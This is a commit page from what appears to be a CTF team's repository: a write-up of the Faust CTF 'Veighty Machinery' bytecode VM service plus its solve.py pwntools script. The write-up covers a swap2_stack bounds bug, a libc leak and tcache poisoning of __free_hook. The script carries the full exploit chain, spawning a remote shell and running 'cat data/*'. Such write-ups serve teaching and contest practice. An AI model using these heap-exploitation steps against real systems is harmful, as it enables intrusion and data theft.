Skip to content

Commit d94ae40

Browse files
committed
Faust CTF veighty machinery writeup
1 parent 46da0ba commit d94ae40

File tree

2 files changed

+206
-0
lines changed

2 files changed

+206
-0
lines changed
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,108 @@
1+
# Veighty Machinery
2+
3+
This service is a bytecode runner.
4+
5+
```
6+
Go program your
7+
__
8+
/ \
9+
.-. | |
10+
* _.-' \ \__/
11+
\.-' \
12+
/ _/
13+
| _ /"
14+
| /_\'
15+
\ \_/
16+
""""
17+
Give me your bytecode!
18+
I will load the cannon and execute it.
19+
```
20+
21+
## Reverse Engineering
22+
23+
After reverse engineering the service, we find that the bytecode language is a stack-based machine with immediates and strings. The vm_context structure used by the service is shown below:
24+
25+
```C
26+
struct vm_context
27+
{
28+
__int64 _ip;
29+
__int64 _sp;
30+
__int64 stack[0x1000];
31+
char code[0x1000];
32+
int flags;
33+
int code_length;
34+
};
35+
```
36+
37+
There are 0x20 opcodes in the language. These are:
38+
39+
```
40+
nop
41+
push_mem
42+
pop_mem
43+
push_input
44+
add2_stack
45+
sub2_stack
46+
multiply_stack
47+
divide2_stack
48+
modulus2_stack
49+
snprintf_imm
50+
branch
51+
cmp_geq
52+
cmp_leq
53+
cmp_neq
54+
branch_zero
55+
branch_notzero
56+
inc
57+
dec
58+
multiple_by_2
59+
rshift_1
60+
duplicate_top_stack
61+
swap2_stack
62+
alloc_buf_push_ptr_stack
63+
free_buffer
64+
fgets_malloc_push_ptr_stack
65+
concat_strings
66+
free_push_length
67+
atoi_free_stack
68+
do_strcmp
69+
strstr_stack
70+
fopen_write_stack
71+
fread_malloc_stack
72+
```
73+
74+
## Vulnerability Searching
75+
76+
Both string pointers and immediates are stored on the stack. However, pointers are tagged with (1 << 63) to differentiate them from immediates, and every opcode correctly checks whether the operation is acting upon immediates or pointers. I could not find a type confusion vulnerability here.
77+
78+
The vulnerability I found (and the intended one) is in swap2_stack. This opcode swaps the topmost two values on the stack, regardless of whether it's an immediate or pointer. However, it fails to check that there are two or more values on the stack - it only checks that there are 1 or more values. This vulnerability allows us to swap the top-most stack value with the stack pointer, which is right before the stack.
79+
80+
## Exploitation
81+
82+
Using the vulnerability, we can point the stack anywhere relative to the vm_context struct, which exists on the heap. Additionally, the opcodes do not check that the stack pointer points out of range (> 0x1000), but instead checks equivalence to 0x1000. This allows us to use all opcodes even when the stack pointer is out of range. With the push and pop operations, we effectively get arbitrary read and write on the heap.
83+
84+
We can leak a libc pointer through large bins or unsorted bins, and obtain arbitrary write by overwriting tcache freelist FD. I set up the following chunk structure:
85+
86+
```
87+
==========================
88+
vm_context
89+
==========================
90+
A - 0x10 sized chunk
91+
==========================
92+
B - 0x500 sized chunk
93+
==========================
94+
C - 0x10 sized chunk
95+
==========================
96+
Top
97+
==========================
98+
```
99+
100+
By freeing A, B, and C then pointing the stack pointer to B using the vulnerability, we can use the pop operation and get a libc leak.
101+
102+
Then, we can continue pop-ing the stack pointer until it reaches the freelist FD pointer of chunk A. We then use the push operation to push the address of `__free_hook` onto the tcache freelist.
103+
104+
We then allocate twice from tcache's 0x10 bin, and get a chunk over `__free_hook`.
105+
106+
Actually if we write to `__free_hook - 0x8`, and write the data "/bin/sh;" + p64(system), we can free the chunk that was just allocated and get a shell immediately.
107+
108+
The exploit is in `solve.py`
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,98 @@
1+
from pwn import *
2+
import sys
3+
4+
tosend = []
5+
global code
6+
code = ""
7+
8+
def push_stack(data):
9+
global code
10+
while len(data) % 8 != 0:
11+
data += "\x00"
12+
for i in range(0, len(data), 8):
13+
code += chr(3)
14+
tosend.append(data[i:i+8])
15+
16+
def alloc(data):
17+
global code
18+
code += chr(24)
19+
tosend.append(data + "\n")
20+
21+
def dup():
22+
global code
23+
code += chr(20)
24+
25+
def free():
26+
global code
27+
code += chr(23)
28+
29+
def pop():
30+
global code
31+
code += chr(2)
32+
33+
def add2():
34+
global code
35+
code += chr(4)
36+
37+
def swap2():
38+
global code
39+
code += chr(21)
40+
41+
#r = process(["ltrace", "./veighty-machinery"])
42+
#r = process("./veighty-machinery")
43+
# r = remote("fd66:666:1::2", 7777)
44+
r = remote(sys.argv[1], sys.argv[2])
45+
46+
alloc("C"*0x10)
47+
alloc("A"*0x500)
48+
alloc("B"*0x10)
49+
free()
50+
free()
51+
free()
52+
push_stack(p64(0x9040/8))
53+
swap2()
54+
pop() # leak
55+
56+
pop()
57+
pop()
58+
pop()
59+
pop()
60+
pop()
61+
62+
push_stack(p64(0x4242424242424242)) # freehook
63+
64+
pop()
65+
pop()
66+
pop()
67+
pop()
68+
pop()
69+
70+
alloc("/bin/sh\x00"*0x2)
71+
alloc(p64(0x4343434343434343))
72+
73+
free()
74+
75+
code += chr(33)
76+
r.recvuntil("Length:")
77+
r.sendline(str(len(code)))
78+
r.recvuntil("Bytecode:")
79+
r.send(code)
80+
81+
r.sendline("C"*0x10)
82+
r.sendline("A"*0x500)
83+
r.sendline("B"*0x10)
84+
r.send(p64(0x9040/8))
85+
print(r.recvuntil("0x"))
86+
leak = int(r.recvline(), 16)
87+
print("LEAK", hex(leak))
88+
base = leak - 0x1bebe0
89+
freehook = base + 0x1c1e70
90+
r.send(p64(freehook-0x8))
91+
92+
r.sendline("D"*0x10)
93+
#r.sendline("/bin/sh;" + p64(base + 0x55410))
94+
r.sendline("/bin/sh;" + p64(base + 0x48e50))
95+
96+
r.sendline("cat data/*")
97+
98+
r.interactive()

0 commit comments

Comments
 (0)